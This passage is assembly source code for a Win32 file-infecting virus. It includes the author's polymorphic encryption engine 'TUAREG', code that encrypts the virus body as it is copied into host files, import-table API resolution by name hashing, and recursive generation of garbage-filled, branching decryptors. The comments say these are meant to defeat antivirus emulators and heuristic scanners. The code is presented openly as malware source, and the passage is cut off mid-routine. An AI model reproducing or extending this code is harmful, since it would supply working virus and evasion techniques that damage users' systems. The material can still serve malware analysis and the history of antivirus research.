                call    Random
                and     eax, 07h
                mov     al, byte ptr [ebp+eax+@@OneByteTable]
                stosb
                jmp   @@EndGarbage

@@OneByteTable  db      90h, 0F5h, 0F8h, 0F9h, 0FCh, 0FDh, 0FBh, 90h
;                       NOP, CMC,  CLC,  STC,  CLD,  STD,  STI,  NOP

      @@TwoBytes2:
                test    edi, 1
                jnz   @@EndGarbage
      @@TwoBytes:
                call    SelectARegister
                mov     dl, al
                call    Random
                and     ax, 0738h
                mov     dh, ah
                inc     eax
                call    RandomFlags
                jz    @@TwoBytes_01
                xchg    dh, dl
                add     al, 2
      @@TwoBytes_01:
                shl     dh, 3
                mov     ah, 0C0h
                or      ah, dl
                or      ah, dh
                stosw

      @@EndGarbage:
                mov     [esp+S_EDI], edi
                popad
                ret
ModifyDumbDecryptor endp

KeyModification db      0
KeyModifier     dd      0
EncryptType2    db      0

Addr_Kernel32   dd      0  ; Address of KERNEL32

;; This routine copies dword by dword the indicated frame, and before storing
;; it, it encrypts that dword with the encryption key. There is one control
;; variable (CopyingVirus) that controls whether he have to leave the first
;; 3Ch bytes unencrypted (the little decryptor) and we have to encrypt with
;; two encryption keys instead of one. Cryptanalisys is hard with two decryp-
;; tion keys because the relation from one byte to another doesn't remain
;; constant when you apply XOR+XOR or ADD+XOR or SUB+XOR, as I apply in this
;; virus. If this doesn't avoid anything, maybe next time I'll code two 8 Kb
;; sized decryptors with the TUAREG and with more techniques of encryption (or
;; two encryptions, or position-based decryptions, or things like that :).
EncryptWhileStoring proc
                push    edx
                cmp     byte ptr [ebp+CopyingVirus], 1 ; Virus code?
                jnz   @@Jump_000      ; If not, jump
                mov     edx, 3Ch/4    ; Leave the first 3Ch bytes with only
                                      ; an encryption layer
                jmp   @@Loop_001
    @@Jump_000: xor     edx, edx      ; EDX=0
    @@Loop_001: lodsd
                cmp     byte ptr [ebp+CopyingVirus], 1
                jnz   @@Next2
                or      edx, edx   ; While EDX isn't 0, we only encrypt with
                jz    @@Next1      ; the main encryption key
                dec     edx
                jmp   @@Next2
      @@Next1:  cmp     byte ptr [ebp+EncryptType2], 1
                jb    @@ADD2
                jz    @@SUB2
        @@XOR2: xor     eax, dword ptr [ebp+CryptValue2]
                jmp   @@Next3
        @@ADD2: add     eax, dword ptr [ebp+CryptValue2]
                jmp   @@Next3
        @@SUB2: sub     eax, dword ptr [ebp+CryptValue2]
      @@Next3:  push    eax
                mov     eax, [ebp+CryptValue2]
                cmp     byte ptr [ebp+KeyModification], 1
                jb    @@ModADD
                jz    @@ModSUB
                cmp     byte ptr [ebp+KeyModification], 3
                jb    @@ModXOR
      @@ModROL: rol     eax, 1
                jmp   @@Next4
      @@ModADD: add     eax, [ebp+KeyModifier]
                jmp   @@Next4
      @@ModSUB: sub     eax, [ebp+KeyModifier]
                jmp   @@Next4
      @@ModXOR: xor     eax, [ebp+KeyModifier]
      @@Next4:  mov     [ebp+CryptValue2], eax
                pop     eax
      @@Next2:  cmp   byte ptr [ebp+EncryptType], 1
                jb  @@ADD
                jz  @@SUB
      @@XOR:    xor   eax, dword ptr [ebp+DecryptKey]
                jmp @@Next
      @@ADD:    add   eax, dword ptr [ebp+DecryptKey]
                jmp @@Next
      @@SUB:    sub   eax, dword ptr [ebp+DecryptKey]
      @@Next:   stosd
                dec     ecx
                jnz   @@Loop_001 ; Repeat <ECX> times (I don't use LOOP coz
                pop     edx      ; the jump exceeds 128 bytes :)
                ret
EncryptWhileStoring endp

CopyingVirus    db      0

EncryptType     db      0  ; 0=ADD, 1=SUB, 2=XOR
DecryptKey      dd      0

CalculateAPIsAddresses proc
                ;; ESI=Address of PE header
                pushad
                lea     edi, [ebp+APIInfo+4]
                mov     ecx, 20h
                xor     eax, eax
     @@LoopKK:  mov     [edi], eax
                add     edi, 10h
                loop  @@LoopKK

                mov     byte ptr [ebp+AnyAPIFound], 0
                mov     edi, [esi+80h]
                movzx   ebx, word ptr [esi+06h]
                movzx   edx, word ptr [esi+14h]
                lea     edx, [esi+edx+18h]
      @@Loop01: mov     eax, [edx+0Ch]
                add     eax, [edx+08h]
                cmp     edi, [edx+0Ch]
                jb    @@NextSection
                cmp     edi, eax
                jb    @@SectionFound
     @@NextSection:
                add     edx, 28h
                dec     ebx
                jnz   @@Loop01
                jmp   @@Exit
    @@SectionFound:
                mov     eax, edi
                sub     eax, [edx+0Ch]
                add     eax, [edx+14h]

                ;; EAX=Physical address of import table (relative)
                ;; EDI=Virtual address of import table (relative)

                mov     [ebp+Idata_Phys], eax
                mov     [ebp+Idata_Virt], edi

                mov     edx, [esi+84h]
                mov     ecx, eax
                add     ecx, [ebp+MappingAddress]
                add     edx, ecx
     @@Loop02:  mov     ebx, [ecx+0Ch]
                or      ebx, ebx
                jz    @@Exit
                cmp     ebx, [esi+50h]
                ja    @@Next
                sub     ebx, [ebp+Idata_Virt]
                add     ebx, [ebp+Idata_Phys]
                add     ebx, [ebp+MappingAddress]
                push    edx
                mov     edx, [ebx]
                call    ToLower
                cmp     edx, 'nrek'
                jnz   @@Next2
                mov     edx, [ebx+4]
                call    ToLower
                cmp     edx, '23le'
                jnz   @@Next2
                mov     edx, [ebx+8]
                call    ToLower
                cmp     edx, 'lld.'
                jnz   @@Next2
                pop     edx

                mov     edi, [ecx+10h]
                add     edi, [esi+34h]
                mov     edx, [ecx]
                sub     edx, [ebp+Idata_Virt]
                add     edx, [ebp+Idata_Phys]
                add     edx, [ebp+MappingAddress]

       @@Otro:  mov     eax, [edx]
                or      eax, eax
                js    @@NextFunc      ; Avoid ordinals
                jz    @@Exit
                sub     eax, [ebp+Idata_Virt]
                add     eax, [ebp+Idata_Phys]
                add     eax, [ebp+MappingAddress]
                add     eax, 2
                mov     esi, eax
                xor     eax, eax

    @@LoopAPI:  cmp     byte ptr [esi], 0
                jz    @@NameCalculated
                mov     cl, [esi]
                and     cl, 3
                rol     eax, cl
                xor     al, [esi]
                inc     esi
                jmp   @@LoopAPI
       @@NameCalculated:
                lea     esi, [ebp+APIInfo]
                mov     ecx, 20h
         @@LoopCheckAPI:
                cmp     eax, [esi]
                jz    @@APIFound
                add     esi, 10h
                loop  @@LoopCheckAPI
    @@NextFunc: add     edx, 4
                add     edi, 4
                jmp   @@Otro
    @@APIFound: mov     [esi+4], edi
                mov     byte ptr [ebp+AnyAPIFound], 1
                jmp   @@NextFunc
    @@Next2:    pop     edx
    @@Next:     add     ecx, 14h
                cmp     ecx, edx
                jb    @@Loop02
       @@Exit:  popad
                ret
CalculateAPIsAddresses endp

Idata_Phys      dd      0
Idata_Virt      dd      0

;ËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËËË;
;ÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;----------------------------------------------------------------------------;
;ßßßßÛßß  Û ÛßßÛ ÛßÛÜ Ûßßß ÛßßßßßßßßßßßßßßßßßßßßßßßßßßßßßÛ     ÜÛ    ÜßÜ  ÜÛ ;
;ßßÛ Û Û  Û Û  Û Û ÜÛ Û    Û    Tameless   Unpredictable Û    ÞßÞ    Ý Þ ÞßÞ ;
;  Û Û Û  Û ÛßßÛ ÛßÛÜ Ûßß  Û ßÛ Anarchic   Relentless    Û      Þ   Þ þ Ý  Þ ;
;  Û Û ÛÜÜÛ Û  Û Û  Û ÛÜÜÜ ÛÜÜÛ Encryption Generator     ÛÜÜÜÜÜ Þ ÜÜ Ý Þ Ü Þ ;
;  ÛÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ ÜÛÜ Ü ßÜß ÜÜÛÜ;
;----------------------------------------------------------------------------;
; The name is quite strambotic :), but I had to justify why the engine is    ;
; called "TUAREG". Anyway, the name isn't new, as I'm in this project since  ;
; 1998, yet before making the MeDriPolEn.                                    ;
;                                                                            ;
; This engine features:                                                      ;
;                                                                            ;
; PRIDE - Pseudo-Random Index DEcryption                                     ;
; Branching Technique - Avoids linear execution of the decryption loop       ;
;                                                                            ;
; This two techniques are explained on the article about "Advanced decryption;
; construction" on 29A#5, where they are better explained than they would be ;
; here.                                                                      ;
;                                                                            ;
; Some notes:                                                                ;
; - The subroutines code will be at the end of every branch for every subrou-;
;  tine created in that branch (the engine selects randomly whether call a   ;
;  created existing one or create a new one and call it when inserting code).;
; - The registers have a "touched" flag, which avoids their use before set-  ;
;  ting on them a valid value (thing that sets lots of flags on heuristic    ;
;  scanners). So, when you call SelectARegisterWithInit, it'll look if the   ;
;  register is "touched". If it isn't, before returning it'll made a DoMOV   ;
;  with a random value and it'll set as "touched".                           ;
; - This version is 1.0 after adding calls to the Win32 API (concretely to   ;
;  KERNEL32) but not directly, but to the import table (like a normal app.). ;
; - "Recursivity" is the main word in the making of this engine. Almost      ;
;  every routine is prepared to be called in recursive instances, and with   ;
;  recursivity we make that the generated code become complex as hell. Just  ;
;  look at the code :).                                                      ;
; - The engine is HUGE (more than a half of the virus is this engine), and,  ;
;  corresponding to its size, the decryptor it generates is one of the most  ;
;  complex decryptors ever generated by any existent polymorphic engine. I'm ;
;  not saying it's the best, but sure it's one of the best :).               ;
; - Nothing more, enjoy it as much as I did it coding it!                    ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; EAX=Displacement from the beginning till the virus
; EBX=Virtual address of the beginning of the encrypted part
; ECX=Place where the decryptors must be put
; Size of encrypted part is Virus_Size+Host_Data_Size

Ident_Tuareg    db      0,'[TUAREG v1.01]',0  ; This marks the beginning of
                                              ; the engine
; Help with stack positions (when you do PUSHAD)
S_EAX   equ     1Ch
S_ECX   equ     18h
S_EDX   equ     14h
S_EBX   equ     10h
S_ESP   equ     0Ch
S_EBP   equ     08h
S_ESI   equ     04h
S_EDI   equ     00h

BssSection      dd      0   ; Data-writing sections. Here we can define
Data1Section    dd      0   ; memory variables and all that. The idea is very
Data2Section    dd      0   ; similar to the MeDriPolEn, where I did a table
Data3Section    dd      0   ; with all the free holes in the virus. This time
Data4Section    dd      0   ; I include the .bss section, if it's available.
                         ; Instead of making a table with writable addresses,
                         ; I put here free frames of 256 bytes at least, gi-
                         ; ving a random dword ptr address inside this frames.

ReservedBssAddress dd   0  ; I save this address to avoid making garbage with
                           ; it. This address will be used to make a jump to
                           ; the unencrypted part. Since the jump isn't cons-
                           ; tructed before total decryption, the emulator of
                           ; an antivirus must emulate to reach one of this
                           ; jumps, to see where the decryptor jumps once the
                           ; data is decrypted.

ReservedMemVars_F       db      30h dup (0)
ReservedMemVars_Addr    dd      30h dup (0)


DecryptorBeginAddress   dd      0  ; Physical address of the decryptor
DecryptorVirtualBeginAddress dd 0  ; Virtual address of the decryptor
Distance                dd      0  ; Distance from the virtual begin address
                                   ; of the decryptor to the decrypted data
EncryptedDataBeginAddress dd    0  ; Place where the virtual address of the
                                   ; encrypted virus is stored
Index1Register  db      0     ; Index1 Register
Index2Register  db      0     ; Index2 Register (used for PRIDE)
KeyRegister     db      0     ; Key register (it can be used or not)
BufferRegister  db      0     ; Buffer register, for some operations that
                              ; require a not-modifiable-by-garbage register
CopyOfUsedRegisters     db      4 dup (0) ; Here we save the four registers
                                 ; selected before sometimes, mainly when we
                                 ; construct the jump to the decrypted part
                                 ; and we don't need the register saving any-
                                 ; more. Since we are coding the end of a
                                 ; branch, we have to save them for the coding
                                 ; of the next branches.
Index1Modifier  dd      0   ; This is a random 8-multiple number between 0 and
                            ; Virus_SizePOW2 (look PRIDE formula)
Index2Modifier  dd      0   ; Value between 4 and 7. Since we are going to do
                            ; AND Index2,xxx, being 0 the two last bits of
                            ; xxx, we don't mind the two last bits of the mo-
                            ; difier, since they are going to be anulated.

TuaregFlags     dd      0
BranchIdentifier db     0
AddressOfTuaregStackFrame dd    0

EPAddition      dd      0

;; This flags are individual for each branch, so they aren't general. This
;; allows each branch to have a "unique" behaviour sometimes.
;;
;; Flags:
;; Bit 0: Use key register: 0=YES, 1=NO
;; Bit 1-2: 00=Use buffer register, 01=XOR again Index2, 10=PUSH/POP Index2
;;          11=Reserved, repeat flag obtention
;; Bit 3: 0=No action, 1=Exchange Index1 and Index2 when using one of them
;;       as memory index (avoid one possible algorithmical clue for detection)
;; Bit 4-5: 00=Functional branch code in a subroutine
;; Bit 6-7: 00=Index calculation + decryption in a subroutine
;; Bit 8-9: 00=Decryption in a subroutine
;; Bit 10-11: 00=All index modifications in a subroutine
;; Bit 12-13: 00=Modify index1 in a subroutine
;; Bit 14-15: 00=Mask index1 in a subroutine
;; Bit 16-17: 00=Modify index2 in a subroutine
;; Bit 18-19: 00=Mask index2 in a subroutine
;; Bit 20-31: Reserved for future expansion

;; Information for every branch in the reserved frame of stack:
;; +00: DWORD: Branch flags
;; +04: DWORD: Functional branch code subroutine address (0 if not made)
;; +08: DWORD: Index calculation + decryption subroutine address
;; +0C: DWORD: Decryption subroutine address
;; +10: DWORD: Index modifications subroutine address
;; +14: DWORD: Modification of index1 subroutine address
;; +18: DWORD: Masking of index1 subroutine address
;; +1C: DWORD: Modification of index2 subroutine address
;; +20: DWORD: Masking of index2 subroutine address
;; +24-40: reserved

InitialValue    dd      0  ; This is the initial value of Index2. The decryp-
                           ; tion of the virus body ends when Index2 reaches
                           ; this value again.
;; Begin fun!
Tuareg          proc
                pushad
                sub     esp, 1000h   ; Create stack frame for variables
                mov     [ebp+AddressOfTuaregStackFrame], esp

                mov     [ebp+Distance], eax
                mov     [ebp+DecryptorBeginAddress], ecx
                mov     [ebp+DecryptorVirtualBeginAddress], ebx
                mov     edi, ecx  ; Save entry values and put EDI as the sto-
                                  ; rage address (to use STOSB and all that)
                mov     eax, [ebp+RelocHeader]
                add     eax, [ebp+MappingAddress]
                mov     eax, [eax+0Ch]
                mov     esi, [ebp+PEHeaderAddress]
                add     eax, [esi+34h]
                mov     [ebp+EncryptedDataBeginAddress], eax ; Set the virtual
                                               ; address of the encrypted data

        ; This variables must be set to 0 at the beginning
                xor     eax, eax
                mov     [ebp+JumpsToCompleteNdx], eax
                mov     [ebp+JumpingArrayNdx], eax
                mov     [ebp+CallsLevel1Ndx], eax
                mov     [ebp+CallsLevel2Ndx], eax
                mov     [ebp+CallsLevel3Ndx], eax
                mov     dword ptr [ebp+ArrayOfCalls1Ndx], eax
                mov     dword ptr [ebp+ArrayOfCalls2Ndx], eax
                mov     dword ptr [ebp+ArrayOfCalls3Ndx], eax
                mov     dword ptr [ebp+TouchedRegisters], eax
                mov     dword ptr [ebp+TouchedRegisters+4], eax
                mov     byte ptr [ebp+ImInRandomLoop], al
                mov     byte ptr [ebp+MOVingRecursLevel], al
                mov     byte ptr [ebp+KeyIsInit], al
                mov     byte ptr [ebp+ImInAPI], al
                mov     byte ptr [ebp+FirstAPICall], al

                call    Random
                and     eax, Virus_SizePOW2 - 8
                mov     [ebp+Index1Modifier], eax  ; Set Index1 modifier

                call    Random
                and     eax, 3
                add     eax, 4
                mov     [ebp+Index2Modifier], eax  ; Set Index2 modifier

      ; Initializing of the random generator (to make is slow poly)
                lea     eax, [ebp+offset SystemTimeReceiver]
                push    eax
                call    dword ptr [ebp+RVA_GetSystemTime]
                mov     eax, [ebp+DwordAleatorio1]
                xor     eax, [ebp+DwordAleatorio2]
                mov     [ebp+DwordAleatorio3], eax

      ; Register selection
                mov     dword ptr [ebp+Index1Register], 08080808h
       @@OtherRegister:
                call    SelectARegister
                cmp     byte ptr [ebp+AnyAPIFound], 1
                jnz   @@SelectAllForKey
                cmp     al, 2
                jbe   @@OtherRegister
       @@SelectAllForKey:
                mov     [ebp+KeyRegister], al
                call    SelectARegister
                mov     [ebp+Index1Register], al
                call    SelectARegister
                mov     [ebp+Index2Register], al
                call    SelectARegister
                mov     [ebp+BufferRegister], al
                mov     eax, dword ptr [ebp+Index1Register]
                mov     dword ptr [ebp+CopyOfUsedRegisters], eax ; Save a copy

                cmp     dword ptr [ebp+BssSection], 0
                jz    @@NoBssSection

                call    Random
                and     eax, 7Ch
                add     eax, [ebp+BssSection]
                mov     [ebp+ReservedBssAddress], eax ; Save a .bss address
                jmp   @@NextThing
      @@NoBssSection:
                mov     eax, [ebp+EncryptedDataBeginAddress]
                add     eax, offset SystemTime - offset Inic_Virus
                mov     [ebp+BssSection], eax
                call    Random
                and     eax, 7Ch
                add     eax, [ebp+BssSection]
                mov     [ebp+ReservedBssAddress], eax ; Get it from another
                                                      ; place
      @@NextThing:
                mov     eax, [ebp+EncryptedDataBeginAddress]
                push    eax
                push    eax
                push    eax
                add     eax, offset SystemTime - offset Inic_Virus
                mov     [ebp+Data1Section], eax
                pop     eax
                add     eax, offset Directory1 - offset Inic_Virus
                mov     [ebp+Data2Section], eax
                pop     eax
                add     eax, offset ArrayOfCalls1 - offset Inic_Virus
                mov     [ebp+Data3Section], eax
                pop     eax
                add     eax, offset CallsLevel1 - offset Inic_Virus
                mov     [ebp+Data4Section], eax  ; Set some free frames for
                                                 ; memory reads/writes. Later,
                                          ; the function SelectAnAddress will
                                          ; give an address from one of this
                                          ; frames to read or write freely.
                mov     ecx, 30h
   @@LoopFillMemVars2:
                mov     dword ptr [ebp+4*ecx+ReservedMemVars_Addr-4], 0
                mov     byte ptr [ebp+ecx+ReservedMemVars_F-1], 0
                loop  @@LoopFillMemVars2

                mov     ecx, 30h
   @@LoopFillMemVars:
                call    SelectAnAddressLow
                mov     [ebp+4*ecx+ReservedMemVars_Addr-4], ebx
                loop  @@LoopFillMemVars

                call    Random
                and     eax, Virus_SizePOW2 - 4
                mov     [ebp+InitialValue], eax ; Set initial value of the
                                                ; Index2

    ;; Let's create all the information for every created branch
                mov     esi, [ebp+AddressOfTuaregStackFrame]
                mov     ecx, 10h
          @@LoopGetLocalFlags:
                call    Random              ; Get local flags
                mov     dword ptr [esi], eax
                test    byte ptr [esi], 2
                jz    @@DontRepeatFlag
                test    byte ptr [esi], 4
                jnz   @@LoopGetLocalFlags
          @@DontRepeatFlag:
                push    ecx
                mov     ecx, 8
                xor     eax, eax
          @@LoopFillSubroutineAddresses:
                mov     [esi+4*ecx], eax
                loop  @@LoopFillSubroutineAddresses
                pop     ecx
                add     esi, 40h
                loop  @@LoopGetLocalFlags

                push    dword ptr [ebp+TouchedRegisters]
                push    dword ptr [ebp+TouchedRegisters+4]
                mov     dword ptr [ebp+TouchedRegisters], 01010101h
                mov     dword ptr [ebp+TouchedRegisters+4], 01010101h
                call    PreCreateCALLs
                mov     eax, edi
                sub     eax, [ebp+DecryptorBeginAddress]
                mov     [ebp+EPAddition], eax
                pop     dword ptr [ebp+TouchedRegisters+4]
                pop     dword ptr [ebp+TouchedRegisters]
                                
                call    DoRandomGarbage   ; Make garbage
                call    DoRandomGarbage
                lea     ebx, [ebp+offset SetIndex1Register]
                lea     ecx, [ebp+offset SetIndex2Register]
                lea     edx, [ebp+offset SetKeyRegister]
                lea     esi, [ebp+offset DoRandomGarbage]
                call    RandomCalling     ; Set initial register values
                call    DoRandomGarbage   ; Make garbage
                call    DoRandomGarbage
                call    DoRandomGarbage
                mov     byte ptr [ebp+BifurcationNumber], 0 ; Set bifurcation
                                                ; to 0 (since it's the start)
                mov     byte ptr [ebp+BranchIdentifier], 0

                call    Branching ; Call the mighty function that TUAREG bases
                                  ; its power on :)
                
;; Once we return from Branching, we have a huge monstruous decryptor cons-
;; tructed, with 15 possible addresses to loop and do the same but with diffe-
;; rent addresses and code (or to arrive again to the same place, it's nearly
;; unpredictable (anarchic relentless... :P).
                mov     edx, [ebp+JumpsToCompleteNdx]
                shr     edx, 2   ; EDX=number of jumps to complete
                mov     ecx, [ebp+JumpingArrayNdx]
                shr     ecx, 2   ; ECX=Number of addresses available to jump.
                                 ; I know the value of this registers (EDX=10h
                                 ; and ECX=0Fh), but in the future maybe it'll
                                 ; be random, so I coded it already in this
                                 ; manner.
     @@CompleteJumps:
                dec     edx        ; Have we finished with jumps?
                js    @@Completed  ; Then, exit
                mov     esi, [4*edx+ebp+JumpsToComplete]
                lea     ebx, [esi+4]
       @@OtherJump:
                call    Random      ; Get a random address to jump
                and     eax, 0Fh
                cmp     eax, ecx
                jae   @@OtherJump
                sub     ebx, [4*eax+ebp+JumpingArray] ; Subtract the address
                neg     ebx         ; to jump with the address of the jump
                                    ; itself...
                mov     [esi], ebx  ; ...and complete the jump opcode
                jmp   @@CompleteJumps  ; Repeat

   @@Completed:
                add     esp, 1000h   ; Restore ESP and release stack frame
                popad      ; Finish TUAREG...
                ret        ; ...and return to reality :( :P
Tuareg          endp

;; This function is the branch generator (and it's auto-callable).
Branching       proc
                inc     byte ptr [ebp+BifurcationNumber] ;Increase bifurcation
                cmp     byte ptr [ebp+BifurcationNumber], 5 ; Have we coded
                                                          ; 4 in this stream?
                jz    @@InsertFunctionalCode ; If so, insert decryption code

                mov     eax, [ebp+JumpingArrayNdx]  ; Insert this address into
                mov     [ebp+eax+JumpingArray], edi ; the jumping array. Later
                add     eax, 4                      ; we can jump to here ran-
                mov     [ebp+JumpingArrayNdx], eax  ; domly.

                call    DoRandomGarbage  ; Make garbage
                call    DoRandomGarbage
                call    RandomFlags      ; Make a random comparision with a
                jz    @@Instruct_2       ; random register. We want to jump
                js    @@CMP              ; very randomly, so we select some
                                         ; quite unpredictable jumps like TEST
                                         ; Reg,PowerOf2/J(N)Z NextBranch, and
                                         ; things like that
       @@TEST:  call    Random     ; TEST Reg,PowerOf2
                and     al, 1Fh    ; A power of two has only a bit set in all
                mov     cl, al     ; the number, so we get a random between 0
                mov     edx, 1     ; and 32 and SHL 1 by that number. Since
                shl     edx, cl    ; it's only a bit and we check that bit
                call    SelectARegister ; from a garbage register, it can be
                mov     ah, al     ; set or clear, so we make J(N)Z and we
                or      al, al     ; won't know which branch the execution is
                jz    @@TEST_EAX   ; going to take.
                mov     al, 0F7h
                or      ah, 0C0h
                stosw
                mov     eax, edx
                stosd
                jmp   @@BitComparision ; Jump to there to set only JZ/JNZ
         @@TEST_EAX:
                mov     al, 0A9h   ; Set TEST EAX,xxx opcode (it's very sus-
                stosb              ; picious to have a TEST EAX with the gene-
                mov     eax, edx   ; ral opcode
                stosd
                jmp   @@BitComparision

       @@CMP:   call    RandomFlags  ; Compare register...
                jz    @@CMP_Reg      ; ...with a register
         @@CMP_Value:                ; or with a value. In this case, the
                call    SelectARegister ; value is random, so the conditional
                cmp     al, 7           ; jump is random too. I avoid the JZ/
                jz    @@CMP_EAX_Value   ; JNZ because they only work when the
                mov     dl, al          ; value is exact. Instead of that, I
                mov     ax, 0F881h      ; use JA, JB, JG, JLE, etc.
                add     ah, dl
                stosw
                jmp   @@CMP_01
         @@CMP_EAX_Value:        ; Set CMP EAX,xxx opcode.
                mov     al, 3Dh
                stosb
      @@CMP_01: call    Random
                stosd
                jmp   @@AbsoluteComparision ; Jump to here to select other 
                                            ; type of jumps, different from 
                                            ; BitComparision
         @@CMP_Reg:
                call    Random       ; Compare with register. It's the same
                and     ax, 0707h    ; as a value, but we set a random regis-
                cmp     ah, al       ; ter, avoiding the same one.
                jz    @@CMP_Reg
                shl     al, 3
                or      ah, al
                or      ah, 0C0h
                mov     al, 39h      ; CMP opcode
                stosw           ; Store instruction
                jmp   @@AbsoluteComparision   ; jump to there

       @@Instruct_2:               ; Another type of random comparision. We
                call    SelectARegister ; do OR Reg,Reg or AND Reg,Reg and
                mov     dl, al          ; we jump with JS/JNS.
                mov     dh, al
                call    RandomFlags
                jz    @@AND
        @@OR:   mov     al, 09h   ; OR opcode
                jmp   @@Inst2_2
        @@AND:  mov     al, 21h   ; AND opcode
     @@Inst2_2: mov     ah, 0C0h ;Set second opcode with "Register mode"
                jc    @@Inst2_3  ; Use random flag (already unchanged)
                add     al, 2   ; Use alternative opcode (since the register
                                ; is the same, we don't care anymore)
     @@Inst2_3: shl     dl, 3   ; Set the selected register to the second op.
                or      ah, dh
                or      ah, dl
                stosw           ; Store instruction
  @@AbsoluteComparision2:
                ; JS, JNS
                xor     ecx, ecx
                call    RandomFlags
                setnz   cl           ; JS, JNS
  @@InsertCJmp: mov     ah, byte ptr [ebp+ecx+Op_CJumps] ; Get the selected
                                                         ; jump from the table
 @@InsertCJmp2: mov     al, 0Fh   ; Since the branches are going to take quite
                stosw             ; more size than 128 bytes, we use 32 bits
                                  ; conditional jumps.
                push    edi    ; Save in stack the address of this jump
                stosd          ; Make space for the displacement of the jump
                               ; (for later calculation)
                jmp   @@NextBranch ; Code next branches (one following this
                                   ; code and another where the jump will jump
                                   ; randomly)
  @@BitComparision:
                xor     ecx, ecx
                call    RandomFlags
                setnz   cl
                add     ecx, 0Ah     ; JZ, JNZ
                jmp   @@InsertCJmp   ; It's clear, I think (it's the same as
                                     ; before)
  @@AbsoluteComparision:   ; CMP
                call    Random    ; Select one of the following conditional
                and     eax, 0Fh  ; jumps:
                cmp     al, 0Ah  ; JS, JNS, JB, JBE, JA, JAE, JG, JL, JGE, JLE
                jae   @@AbsoluteComparision
                mov     ah, byte ptr [ebp+eax+Op_CJumps]
                jmp   @@InsertCJmp2

;; After coding the random-behaviour conditional jump, we arrive here. This
;; code will call recursively the function we are in until the number of bi-
;; furcations in the branch arrives to 5, moment when we'll code the decryp-
;; tion instructions, the index checks and all that.
 @@NextBranch:  call    Branching  ; Code left branch of the jump (the NO-JUMP
                                   ; condition)
                pop     ebx        ; Pop from stack the address where the dis-
                                   ; placement of the jump coded before is.
                mov     ecx, edi   ; Calculate the distance of the jump
                sub     ecx, ebx
                sub     ecx, 4
                mov     [ebx], ecx ; Complete the jump
                call    Branching  ; Calculate the right branch (the JUMP con-
                                   ; dition)
                dec     byte ptr [ebp+BifurcationNumber] ; Decrease the number
                                      ; of bifurcations, since we are going to
                                      ; exit from the function Branching (to
                                      ; return to another run of Branching or
                                      ; return completely to function Tuareg).
                ret   ; Return!

;; When we reach the level 5 of recursivity in this function (Branching), then
;; the "functional code" (decryption instructions, indexes modifications, the
;; loop check and the jump to the decrypted part is inserted, and moreover the
;; code of thesubroutines created until this moment).

@@InsertFunctionalCode:
                movzx   eax, byte ptr [ebp+BranchIdentifier]
                shl     eax, 6 ; *40h
                add     eax, dword ptr [ebp+AddressOfTuaregStackFrame]
                mov     [ebp+TuaregFlags], eax

                dec     byte ptr [ebp+BifurcationNumber] ; Decrease the recur-
                                             ; sivity level for the returning
                call    DoRandomGarbage  ; Make garbage
                call    DoRandomGarbage
                call    DoRandomGarbage
                test    byte ptr [ebp+TuaregFlags], 6 ;Use of buffer register?
                                                      ;(bits 1-2=00)
                jnz   @@NoBufferReg      ; If not, jump
       ;; With buffer register
                xor     edx, edx
                mov     dl, [ebp+BufferRegister] ; Get buffer register in DL
                mov     byte ptr [ebp+edx+TouchedRegisters], 1 ; Set it as
                                                               ; "touched"
                test    byte ptr [ebp+TuaregFlags], 8 ; Exchange Index1 and 2?
                jnz   @@XchgNdxs1          ; Please do
                mov     dh, [ebp+Index1Register] ; Use Index1 in DH
                jmp   @@IFC_01
   @@XchgNdxs1: mov     dh, [ebp+Index2Register] ; Use Index2 in DH
      @@IFC_01: call    DoMOVRegReg        ; Make MOV BufferReg,IndexXReg (or
                call    DoRandomGarbage    ; similar) and some garbage
                call    DoRandomGarbage
                mov     dl, [ebp+BufferRegister] ; DL=Buffer register
                test    byte ptr [ebp+TuaregFlags], 8 ; Exchange Index1 and 2?
                jnz   @@XchgNdxs2          ; Please do
                mov     dh, [ebp+Index2Register] ; Use Index2 in DH
                jmp   @@IFC_02
   @@XchgNdxs2: mov     dh, [ebp+Index1Register] ; Use Index1 in DH
      @@IFC_02: call    DoXORRegReg        ; Do XOR BufferReg,IndexXReg (the
                                           ; IndexX that wasn't used before)
                call    DoRandomGarbage    ; Do garbage
                call    DoRandomGarbage
                call    InsertDecryption   ; Put the decryption instruction
                jmp   @@IFC_Next_02      ; Continue

 @@NoBufferReg: test    byte ptr [ebp+TuaregFlags], 2 ; Which action?
                jnz   @@DoubleXORing       ; Then, double XORing

;; We make: PUSH Index2/XOR Index2,Index1/Decrypt using Index2/POP Index2
      @@PUSHPOPIndex2:
                mov     al, 50h
                add     al, byte ptr [ebp+Index2Register]
                stosb                     ; PUSH Index2
                call    DoRandomGarbage   ; Make garbage
                call    Patch1            ; XOR the Index2 with the Index1 and
                                          ; insert the decryption code, mixed
                                          ; with lots of garbage
                mov     al, 58h
                add     al, byte ptr [ebp+Index2Register]
                stosb                     ; Insert POP Index2
                jmp   @@IFC_Next_02       ; Continue

;; We make: XOR Index2,Index1/Decrypt using Index2/XOR Index2,Index1 (to res-
;;  tore the value)
      @@DoubleXORing:
                call    DoRandomGarbage   ; Make garbage
                call    Patch1            ; XOR Index2 with Index1, insert the
                                          ; decryption instruction and mix it
                                          ; with garbage
                mov     dh, [ebp+Index1Register]
                mov     dl, [ebp+Index2Register]
                call    DoXORRegReg       ; XOR again Index2 with Index1
                call    DoRandomGarbage   ; Make garbage
                call    DoRandomGarbage

    @@IFC_Next_02:
;; Now we have to modify Index1 and Index2. Since we can code it interleaved
